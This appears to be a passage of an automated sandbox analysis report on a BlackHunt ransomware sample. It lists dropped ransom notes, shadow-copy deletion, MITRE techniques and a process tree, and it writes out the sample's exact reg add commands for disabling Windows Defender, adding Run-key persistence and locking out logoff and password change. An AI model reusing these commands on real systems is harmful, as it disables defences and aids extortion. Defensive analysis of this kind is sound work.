File opened for modification	C:\Program Files\Java\jre7\lib\calendars.properties	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Khartoum	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightItalic.ttf	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-impl_ja.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Rangoon	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\feature.xml	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.commons.codec_1.6.0.v201305230611.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-2	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\layers.png	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jre7\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-api_zh_CN.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\core_visualvm.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Beulah	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\vlc.mo	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\VideoLAN\VLC\skins\fonts\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files (x86)\Google\Update\Install\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\#BlackHunt_Private.key	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-print.xml_hidden	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Lagos	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\mobile.html	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\15x15dot.png	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\localedata.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\UCT	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\feature.xml	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\#BlackHunt_Private.key	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.expressions_3.4.600.v20140128-0851.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\passportcover.png	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\setNetworkClientCP	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\updater.jar	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Rio_Gallegos	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#BlackHunt_ReadMe.hta	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\LC_MESSAGES\#BlackHunt_Private.key	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File created	C:\Program Files\VideoLAN\VLC\locale\id\#BlackHunt_ReadMe.txt	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationUp_ButtonGraphic.png	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\1047_576black.png	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1536	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1052	vssadmin.exe
2544	vssadmin.exe
2380	vssadmin.exe
2500	vssadmin.exe
1696	vssadmin.exe
2428	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1788	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
844	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3228	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeRestorePrivilege	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeBackupPrivilege	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeTakeOwnershipPrivilege	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeAuditPrivilege	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeSecurityPrivilege	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeIncBasePriorityPrivilege	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Token: SeBackupPrivilege	624	vssvc.exe
Token: SeRestorePrivilege	624	vssvc.exe
Token: SeAuditPrivilege	624	vssvc.exe
Token: SeBackupPrivilege	1864	wbengine.exe
Token: SeRestorePrivilege	1864	wbengine.exe
Token: SeSecurityPrivilege	1864	wbengine.exe
Token: SeSecurityPrivilege	2732	wevtutil.exe
Token: SeBackupPrivilege	2732	wevtutil.exe
Token: SeSecurityPrivilege	1072	wevtutil.exe
Token: SeBackupPrivilege	1072	wevtutil.exe
Token: SeSecurityPrivilege	312	wevtutil.exe
Token: SeSecurityPrivilege	3264	wevtutil.exe
Token: SeBackupPrivilege	312	wevtutil.exe
Token: SeBackupPrivilege	3264	wevtutil.exe
Token: SeSecurityPrivilege	3360	wevtutil.exe
Token: SeBackupPrivilege	3360	wevtutil.exe
Token: SeDebugPrivilege	1788	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2848 wrote to memory of 2316	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	29
PID 2848 wrote to memory of 2316	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	29
PID 2848 wrote to memory of 2316	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	29
PID 2848 wrote to memory of 2316	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	29
PID 2848 wrote to memory of 2564	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	31
PID 2848 wrote to memory of 2564	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	31
PID 2848 wrote to memory of 2564	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	31
PID 2848 wrote to memory of 2564	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	31
PID 2848 wrote to memory of 2292	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	33
PID 2848 wrote to memory of 2292	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	33
PID 2848 wrote to memory of 2292	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	33
PID 2848 wrote to memory of 2292	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	33
PID 2316 wrote to memory of 2628	2316	cmd.exe	35
PID 2316 wrote to memory of 2628	2316	cmd.exe	35
PID 2316 wrote to memory of 2628	2316	cmd.exe	35
PID 2848 wrote to memory of 2676	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	39
PID 2848 wrote to memory of 2676	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	39
PID 2848 wrote to memory of 2676	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	39
PID 2848 wrote to memory of 2676	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	39
PID 2848 wrote to memory of 2704	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	152
PID 2848 wrote to memory of 2704	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	152
PID 2848 wrote to memory of 2704	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	152
PID 2848 wrote to memory of 2704	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	152
PID 2848 wrote to memory of 2636	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	40
PID 2848 wrote to memory of 2636	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	40
PID 2848 wrote to memory of 2636	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	40
PID 2848 wrote to memory of 2636	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	40
PID 2848 wrote to memory of 2148	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	42
PID 2848 wrote to memory of 2148	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	42
PID 2848 wrote to memory of 2148	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	42
PID 2848 wrote to memory of 2148	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	42
PID 2848 wrote to memory of 2640	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	44
PID 2848 wrote to memory of 2640	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	44
PID 2848 wrote to memory of 2640	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	44
PID 2848 wrote to memory of 2640	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	44
PID 2848 wrote to memory of 2748	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	46
PID 2848 wrote to memory of 2748	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	46
PID 2848 wrote to memory of 2748	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	46
PID 2848 wrote to memory of 2748	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	46
PID 2292 wrote to memory of 2492	2292	cmd.exe	48
PID 2292 wrote to memory of 2492	2292	cmd.exe	48
PID 2292 wrote to memory of 2492	2292	cmd.exe	48
PID 2848 wrote to memory of 2952	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	49
PID 2848 wrote to memory of 2952	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	49
PID 2848 wrote to memory of 2952	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	49
PID 2848 wrote to memory of 2952	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	49
PID 2848 wrote to memory of 2608	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	50
PID 2848 wrote to memory of 2608	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	50
PID 2848 wrote to memory of 2608	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	50
PID 2848 wrote to memory of 2608	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	50
PID 2848 wrote to memory of 2532	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	52
PID 2848 wrote to memory of 2532	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	52
PID 2848 wrote to memory of 2532	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	52
PID 2848 wrote to memory of 2532	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	52
PID 2564 wrote to memory of 1780	2564	cmd.exe	54
PID 2564 wrote to memory of 1780	2564	cmd.exe	54
PID 2564 wrote to memory of 1780	2564	cmd.exe	54
PID 2848 wrote to memory of 2472	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	55
PID 2848 wrote to memory of 2472	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	55
PID 2848 wrote to memory of 2472	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	55
PID 2848 wrote to memory of 2472	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	55
PID 2848 wrote to memory of 2484	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	56
PID 2848 wrote to memory of 2484	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	56
PID 2848 wrote to memory of 2484	2848	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe
"C:\Users\Admin\AppData\Local\Temp\fea7cbe6859a861531dfada3a0d7b8c9142fad58636e30b747ae9694d175a0a6.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2132
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
